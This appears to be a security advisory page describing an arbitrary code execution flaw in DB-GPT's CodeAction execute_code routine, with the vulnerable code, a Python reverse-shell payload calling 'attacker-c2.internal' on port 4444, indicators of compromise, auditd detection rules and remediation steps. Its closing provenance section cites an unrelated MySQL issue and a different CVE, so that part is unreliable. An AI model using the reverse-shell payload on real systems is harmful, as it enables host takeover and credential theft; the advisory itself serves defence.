CVE-2026-123018: eosphoros-ai DB-GPT CodeAction Arbitrary Code Execution
A critical code execution vulnerability (CVE-2026-123018) affects eosphoros-ai DB-GPT versions up to and including 0.8.2. The execute_code routine in code_utils.py, utilized by autonomous CodeAction components, processes code execution commands without robust containment boundaries or sandbox isolation. Remote attackers and rogue agent workflows can trigger unsanitized system commands, achieving remote code execution on backend GPU database infrastructure, exfiltrating vector database embeddings, and compromising connected LLM API credentials.
HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE EVALUATION
Target:eosphoros-ai DB-GPT CodeAction & code_utils.py execute_code (<= 0.8.2) 1. Vulnerability Architecture & Exploit Mechanics
Section titled โ1. Vulnerability Architecture & Exploit Mechanicsโeosphoros-ai DB-GPT is an open-source AI-native data application framework engineered for multi-agent workflows, private large language models, and text-to-SQL database querying. Autonomous agents within DB-GPT utilize CodeAction modules to formulate and evaluate dynamic Python scripts.
Inside code_utils.py, the execute_code() function spawns subprocesses to execute agent-generated code snippets:
# Vulnerable code execution routine in code_utils.pydef execute_code(code: str, language: str = "python", timeout: int = 30): # Missing strict sandbox isolation or namespace boundary enforcement cmd = [sys.executable, "-c", code] result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) return result.stdout, result.stderrBecause external inputs originating from remote API calls or upstream LLM prompt injections can directly populate the code argument without mandatory containerization or execution token validation, adversaries can execute arbitrary Python commands:
# Remote code injection trigger payloadimport os, socket, subprocesss = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("attacker-c2.internal", 4444))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)subprocess.call(["/bin/sh", "-i"])2. Impact on Enterprise AI & Data Workflows
Section titled โ2. Impact on Enterprise AI & Data Workflowsโ- Host Server Compromise: Attackers gain a direct reverse shell on servers running DB-GPT, which typically host GPU compute resources and vector databases.
- Database Credential Theft: DB-GPT instances store connection strings, credentials, and access tokens for PostgreSQL, MySQL, ClickHouse, and Milvus vector stores.
- Agent State Poisoning: Infiltrated workflows can alter data retrieval pipelines, returning manipulated analytical reports and poisoning subsequent agent decisions.
3. Threat Intelligence & Indicators of Compromise (IOCs)
Section titled โ3. Threat Intelligence & Indicators of Compromise (IOCs)โActionable Host & Network Indicators
Section titled โActionable Host & Network Indicatorsโ| Indicator Type | Observable / Indicator | Role / Context | Status |
|---|---|---|---|
| Process Lineage | python3 -c "import socket..." with parent dbgpt_server | Reverse shell execution spawned by code_utils.py | CRITICAL |
| Process Execution | /bin/sh or /bin/bash with pipes to non-standard TCP ports | Host breakout shell connection | CRITICAL |
| Network Egress | Outbound TCP SYN to non-LLM ports (e.g., 4444, 1337) from worker pods | C2 reverse connection egress | MALICIOUS |
| File Artifact | /tmp/code_action_*.py containing base64 decoder stagers | Temporary script file dropped by agent execution loop | ANOMALOUS |
| API Pattern | POST /api/v1/chat/completions with nested CodeAction payloads | Remote payload delivery via prompt or multi-agent messaging | ACTIVE |
EDR / Auditd Detection Rule
Section titled โEDR / Auditd Detection Ruleโ# Auditd rule detecting interactive shell spawning from DB-GPT workers-a always,exit -F arch=b64 -S execve -F ppid=<dbgpt_pid> -F exe=/bin/sh -k dbgpt_rce_detection-a always,exit -F arch=b64 -S execve -F ppid=<dbgpt_pid> -F exe=/bin/bash -k dbgpt_rce_detection4. Version Matrix & Patch Engineering
Section titled โ4. Version Matrix & Patch EngineeringโThe maintainers of DB-GPT fixed this vulnerability in version 0.8.3 via Pull Request #2144:
- Deprecated unsandboxed host subprocess execution in
code_utils.py. - Introduced mandatory ephemeral container isolation via a Docker/gVisor runtime client for code execution.
- Implemented static AST validation rejecting imports of dangerous modules (
os,sys,socket,subprocess,pty,shutil).
| Product Branch | Vulnerable Versions | Fixed Release | Patch Status |
|---|---|---|---|
| DB-GPT 0.8.x | <= 0.8.2 | 0.8.3 | Official Security Release (PR #2144) |
| DB-GPT 0.7.x | All versions | Migrate to 0.8.3 | Upstream Upgrade Recommended |
5. Remediation & Hardening Guidelines
Section titled โ5. Remediation & Hardening Guidelinesโ- Upgrade DB-GPT: Upgrade immediately to DB-GPT version
0.8.3or later where execution controls and isolation mechanisms are patched. - Enforce Container Sandboxing: Run code execution agents strictly inside ephemeral, unprivileged gVisor or Docker sandboxes without access to the host network.
- Network Microsegmentation: Restrict outbound egress from agent execution workers to prevent reverse shells and unauthorized LLM endpoint access.
CVE-2026-123018: eosphoros-ai DB-GPT CodeAction Arbitrary Code ExecutionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Oracle MySQL Server & Database Engine documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)